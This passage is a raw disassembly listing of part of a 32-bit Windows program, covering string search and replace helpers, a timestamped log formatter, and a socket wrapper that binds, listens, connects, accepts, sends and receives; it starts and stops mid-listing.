[esi], 0 jz short loc_419AB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add esi, 80h cmp esi, offset dword_50AE6C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax call near ptr 27A0000h nop mov edi, dword_50FAFC mov esi, offset dword_50AE6C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E6C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E6C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx call near ptr 77C47C60h nop mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5EDAB2 add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5EDAB2 add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi call near ptr 71AB88D3h nop test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2E5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E55 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1EBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5EDAB2 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EDAB2 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6775 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2E5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D667Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5EDAB2 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EDAB2 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB38 test eax, eax jnz short loc_41A048 mov eax, dword_50BB38 inc eax mov dword_50BB38, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB38 inc edx mov dword_50BB38, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F70 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB38 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB38 dec eax mov dword_50BB38, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB38 dec ecx mov dword_50BB38, ecx jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- dd 90909004h, 2 dup(90909090h), 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DD0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call near ptr 71AB2B66h nop mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax nop call near ptr 71AB9639h loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F70 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: ___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC32: ; CODE XREF: ___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov 